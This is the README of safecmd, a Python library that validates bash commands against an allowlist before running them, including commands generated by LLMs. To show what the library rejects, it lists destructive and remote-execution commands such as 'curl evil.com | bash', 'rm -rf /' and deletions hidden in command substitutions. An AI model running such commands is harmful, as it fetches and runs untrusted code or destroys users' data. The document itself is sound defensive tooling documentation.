safecmd

Validate shell commands against an allowlist before execution

Introduction

safecmd validates bash commands against an allowlist before execution. It is for tools that run commands from LLMs, user input, or third-party scripts. Its default allowlist includes read-only and easily reverted commands that are safe to run.

A shell command can modify or delete files, send data over the network, or run other commands through substitutions and pipelines. safecmd uses the shfmt bash parser to build an abstract syntax tree (AST). It checks commands within pipelines, substitutions, subshells, and heredocs, along with configured output destinations, before execution.

Commands such as git log | grep "fix" and find . -name "*.py" | xargs cat pass the default checks. Commands such as rm -rf / and curl evil.com | bash fail validation. This lets tools run useful shell commands with less worry about accidental damage.

Installation

Install safecmd from PyPI:

pip install safecmd

This will automatically install the shfmt-py dependency, which provides the shfmt binary. If you’re doing a local user install (pip install --user), make sure ~/.local/bin is in your PATH.

Quick Start

from safecmd import safe_run, validate, DisallowedCmd, DisallowedDest
from fastcore.test import expect_fail

By default, safe_run allows common read-only commands such as cat, grep, ls, head, tail, diff, and wc, along with git subcommands such as git log, git status, and git diff. The allowlist also includes selected commands from gh, npm/yarn, Docker, AWS, GCloud, and other tools. Some allowed commands change state, including package installation and git commits. Review the configuration for your application.

The allowlist can specify arguments that need further checking. For example, find -exec takes a command to validate: find . -exec ls {} \; passes, while replacing ls with rm fails. The destination argument to curl -o is also checked: /tmp/file passes, while /etc/passwd fails. The default output destinations are the current directory (./), /tmp, and /dev/null.

Bash command lines that are generally safe run as usual:

safe_run('ls -la | grep index')
'-rw-------   1 jhoward  staff  23153 Sep  6 14:06 index.ipynb\n'

safe_run raises DisallowedCmd or DisallowedDest when validation fails, including within nested commands and pipelines. Use validate to check a command without executing it. These examples use expect_fail to check the exception type and message without printing a traceback:

with expect_fail(DisallowedCmd, contains='rm -rf /danger'): validate('echo $(rm -rf /danger)')
with expect_fail(DisallowedDest, contains='/nonexistent/badpath'): validate('echo danger > /nonexistent/badpath')
with expect_fail(DisallowedCmd, contains='sudo ls'): validate('sudo ls')

The active allowlist is stored in ~/.config/safecmd/config.ini (Linux), ~/Library/Application Support/safecmd/config.ini (macOS), or %LOCALAPPDATA%\safecmd\config.ini (Windows). cfg_path points to this file. Edit it to customize the allowlist permanently, or pass cmds and dests to safe_run() for an individual call. The add_cmds, rm_cmds, add_dests, and rm_dests parameters adjust the configured lists for one call.

default_cfg contains the configuration shipped with the package. Its first section lists the default output destinations; your local configuration can differ:

from safecmd import default_cfg, cfg_path
print(default_cfg.split('\n\n', 1)[0])
[DEFAULT]
ok_dests = ./, /dev/null, /tmp

How It Works

safe_run() parses and validates the command before passing it to the shell:

  1. Parse the bash command into an AST.

    safecmd uses shfmt, a bash parser written in Go, to produce a JSON syntax tree. This is the same parser used by shell formatters and linters. The tree represents quoted strings, escaped characters, heredocs, and nested substitutions.

    For example, echo "hello" | grep h becomes a pipeline containing two commands, echo and grep, with their arguments.

  2. Extract commands recursively.

    safecmd walks the tree to find commands within:

    • Pipelines (cmd1 | cmd2)
    • Command substitutions ($(cmd) or `cmd`)
    • Subshells ((cmd))
    • Logical chains (cmd1 && cmd2, cmd1 || cmd2)

    In ls $(rm -rf /), the shell would run rm before ls. safecmd checks both commands and rejects the command line because rm is not allowed.

  3. Check commands and configured arguments against the allowlists.

    Each command must match an entry in ok_cmds. Matching uses whole-word prefixes: ls allows ls, ls -la, and ls /home; git status allows commands starting with those two words, but does not allow git push.

    Command entries can also specify:

    • Denied flags, such as find -delete, which cause rejection.
    • Exec flags, such as find -exec, whose arguments contain commands to parse and validate recursively.
    • Dest flags, such as curl -o, whose arguments are output destinations to check against ok_dests.

    For example, find . -exec ls {} \; passes, but find . -exec rm {} \; fails. For curl -o, /tmp/file passes the destination check and /etc/passwd fails.

  4. Check redirect destinations.

    safecmd extracts destinations from output redirects such as >, >>, and &>. It expands ~ and environment variables, converts paths to absolute paths, and normalizes .. components before comparing them with the prefixes in ok_dests. The default prefixes are ./, /tmp, and /dev/null.

  5. Execute after validation passes.

    If a command or destination fails validation, safecmd raises DisallowedCmd or DisallowedDest without executing the command line. Otherwise, it runs the command and returns its output.

When to Use safecmd

safecmd is useful when an application needs to run shell commands from another source while controlling which commands it accepts:

  • LLM-powered tools such as solveit can execute generated commands with less worry about accidental damage from hallucinations or prompt injection.
  • Interactive CLIs can accept shell commands from users and reject commands outside the configured allowlist.
  • Automation pipelines can check commands supplied through configuration files, APIs, or webhooks before execution.
  • Sandboxed environments can use safecmd to apply command-level restrictions alongside isolation.

safecmd allows a known set of useful commands while blocking obviously dangerous ones. It is not a replacement for sandboxing completely untrusted code. It does not protect against an adversary trying to bypass the checks and provides no safety guarantees.